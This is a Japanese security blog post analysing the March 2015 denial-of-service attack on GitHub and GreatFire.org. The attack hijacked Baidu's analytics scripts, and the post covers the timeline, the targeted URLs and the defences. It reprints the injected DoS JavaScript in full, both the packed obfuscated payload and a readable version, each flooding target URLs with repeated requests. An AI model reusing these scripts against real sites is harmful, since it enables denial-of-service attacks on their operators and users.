piyolog

piyokangoの備忘録です。セキュリティの出来事を中心にまとめています。このサイトはGoogle Analyticsを利用しています。

2015年3月に発生したGithubへのDoS攻撃についてまとめてみた

Githubが同社サービスに対してDoS攻撃が行われていることを発表しました。一連のDoS攻撃はGreatfire.orgに対して行われているものと考えられ、ここではGreatFire.orgに関係するDoS攻撃の情報をまとめます。

公式発表

Github 公式Twitter

タイムライン

日時(JST) 出来事
2015年3月17日 GreatFire.orgに対してDoS攻撃が開始される。
2015年3月19日 GreatFire.orgがAmazon Cloudfrontに設置しているWebサイトに対してDoS攻撃が行われていることを発表。
2015年3月20日 GreatFire.orgがミラーサイト(GitHub)に対して攻撃が行われていると報告
2015年3月25日 11時8分 GithubDoS攻撃を受けていることを確認し対応にあたっていると発表。
GreateFire.orgがDoS攻撃の詳細についてレポートを公開。
2015年3月26日〜28日 Githubへ継続してDoS攻撃が行われていることを発表。
2015年3月28日 GithubがBlogにDoS攻撃について発表。
2015年3月29日 9時50分 攻撃への防御を開始して71時間が経過。緩和策の導入によりサービスが安定したことを発表。
2015年3月20時50分 Githubが攻撃はまだ継続していることを報告。
2015年3月31日20時11分 Githubが通常の状態に戻ったことを報告。

Github側発表の詳細はこちらを参照

1.Amazon Cloudfrontへ行われたDoS攻撃の概要(3月18日〜3月23日)

3月18日以降、Baiduのサービスを利用するWebサイトへアクセスした際に、Baiduの複数のJavaScriptAmazon Cloudfrontに対して2秒おきに接続するJavaScriptに置き換えられていたことにより、当該サービスに対して大量のトラフィックが発生した。

DoS攻撃時に付与されるGETリクエストのアクセス状況(Greatfire.orgレポートより引用)

2.Githubへ行われたDoS攻撃の概要(3月25日?〜)

中国国内中国国外から*1Baiduのアクセス統計サービス等を利用するWebサイトにアクセスした際、Baiduのウェブサイトで読み込まれるJavaScriptGithubの2つのURLに対し2秒毎に接続するJavaScriptに置き換えられたことにより、Githubに対して大量のトラフィックが発生した模様。GreatFire.orgへ行われたDoS攻撃と方法は同じと考えられる。尚、Baidu社のJavaScriptが置き換えられていた理由についてpiyokangoはBaidu側からの公式発表をまだ確認できていない。

DoS攻撃の対象とされたURL

(1) Amazon Cloudfront

次のURLに対して少なくともDoS攻撃が行われたことがGreatFire.orgにより報告されている。検閲対象とされたWebサイトが設置されていたものと推測できるが、いずれの当該URLに対しても現在接続することは出来ない。

(2) Github

greatfireが管理するGithub上の2つのProjectに対して行われた。

対象URL 概要 管理者
https://github.com/greatfire/ GreatFireのProject greatfire
https://github.com/cn-nytimes/ NYT中国語版のミラーサイトを紹介しているURL greatfire


Github上にはミラーサイトのURLやiOS向けアプリが紹介されている。

ミラーサイトそのものは別のクラウドサービス(Windows AzureAmazon Cloudfront)上に構築されている。

DititalAttack Mapのここ数日の状況

DigitalAttack Mapの2015年3月23日〜28日におけるDoS攻撃の状況は次の状況となっている。25日以降、中国からアメリカに、27日以降はカナダにも攻撃が行われている様子が確認できる。



置き換えられたDoS JavaScript詳細

Baidu社の複数のJavaScriptが何らかの理由により置き換えられていた模様。尚、Github向けに行われた攻撃では置き換えられていたのはHTTP(80)のみでHTTPS(443)は影響を受けていなかったとの報告がある。

置き換えられたと報告があったJavaScript

Amazon,GithubへのDoSスクリプトに置き換えられたとして報告が挙がっているURLは次の2つ。

置き換えられたURL Amazon Github
dup.baidustatic.com 報告あり
ecomcbjs.jomodns.com 報告あり
cbjs.e.shifen.com 報告あり
hm.baidu.com 報告あり 報告あり
eclick.baidu.com 報告あり
pos.baidu.com 報告あり
cpro.baidu.com 報告あり
hm.e.shifen.com 報告あり
cbjs.baidu.com 報告あり 報告あり

Amazon側のURLはすべてGreatfireのレポート「Where is the tampering taking place?」より。

(1) Amazon Cloudfront向けのDoS攻撃コード
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'><\/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'><\/script>");
startime = new Date().getTime();
var count = 0;
function unixtime() {
    var dt = new Date();
    var ux = Date.UTC(dt.getFullYear(), dt.getMonth(), dt.getDay(), dt.getHours(), dt.getMinutes(), dt.getSeconds()) / 1000;
    return ux;
}

url_array = new Array("https://d117ucqx7my6vj.cloudfront.net", "https://d14qqseh1jha6e.cloudfront.net",
    "https://d18yee9du95yb4.cloudfront.net", "https://d19r410x06nzy6.cloudfront.net", "https://d1blw6ybvy6vm2.cloudfront.net")

NUM = url_array.length;
function r_send2() {
    var x = unixtime() % NUM;
    var url = url_array[x];
    get(url);
}

function get(myurl) {
    var ping;
    $.ajax({
        url: myurl + "?" + unixtime(),
        dataType: "text",
        timeout: 10000,
        cache: true,
        beforeSend: function() {
            requestTime = new Date().getTime();
        },

        complete: function() {
            responseTime = new Date().getTime();
            ping = Math.floor(responseTime - requestTime);
            if (responseTime - startime < 300000) {
                r_send(ping);
                count = count + 1;
            }
        }
    });
}

function r_send(ping) {
    setTimeout("r_send2()", ping);
}

setTimeout("r_send2()", 2000);
(2) Github向けのDoS攻撃コード

実際に置き換えられていた難読化されたJavaScript

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('l.k("<5 p=\'r://H.B.9/8/2.0.0/8.C.t\'>\\h/5>");!J.K&&l.k("<5 p=\'r://L.8.9/8-T.t\'>\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E/","m://n.9/F-G/"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);',62,64,'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeout|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'),0,{}))

http://pastie.org/10056526

以下は可読化したもの。

document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;

function unixtime() {
    var a = new Date;
    return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
NUM = url_array.length;

function r_send2() {
    var a = unixtime() % NUM;
    get(url_array[a])
}

function get(a) {
    var b;
    $.ajax({
        url: a,
        dataType: "script",
        timeout: 1E4,
        cache: !0,
        beforeSend: function() {
            requestTime = (new Date).getTime()
        },
        complete: function() {
            responseTime = (new Date).getTime();
            b = Math.floor(responseTime - requestTime);
            3E5 > responseTime - startime && (r_send(b), count += 1)
        }
    })
}

function r_send(a) {
    setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);

参考 (1) GreatFire.orgとは何か

中国で検閲対象とされているサイトがどれかを確認するサービスを提供しているWebサイトGIGAZINEの解説がくわしい。

参考 (2) 置き換えが行われたJavaScriptとはそもそも何だったのか

cbjs.baidu.com/js/m.js

Baiduの広告に使用されるJavaScript

参考 (3) Githubの対策で確認されているもの

対象URLでAlertダイアログの表示

置き換えられたJavaScriptからDoS対象とされているURLへ接続すると「WARNING: malicious javascript detected on this domain」とダイアログが表示されるように2つのURLだけトップページが置き換えられていた。別の対策が既に機能したためか、3月31日時点では通常のトップページが表示されるようになっている。末尾のスラッシュを取り除くと通常のトップページが表示される。他のProjectではこのような対応は取られていない模様

以下動画はGithub側の対策によりアラートが大量表示されるようになった様子。ユーザーが変更可能なページではないため、GreatfireではなくGithub側がとった対策と考えられる。

Prolexicが入っていた

事前に確認していなかっため今回のDoS攻撃を受けて導入したのかは不明ながら、Githubまでの通信経路上にDoS攻撃対策サービスを行っているProlexicが入っていた。

更新履歴

  • 2015年3月29日 AM 新規作成
  • 2015年3月29日 PM 概要図追加。一部加筆。
  • 2015年3月30日 AM DoS発生条件のアクセス元「中国国内」を「中国国外」に訂正。
  • 2015年3月31日 AM 最新情報の反映、Amazon向けに行われたDoS攻撃の概要について追加。

*1:中国国内からではなく国外からのアクセスで発生していたとのご指摘をはてブコメントよりいただきました。訂正します。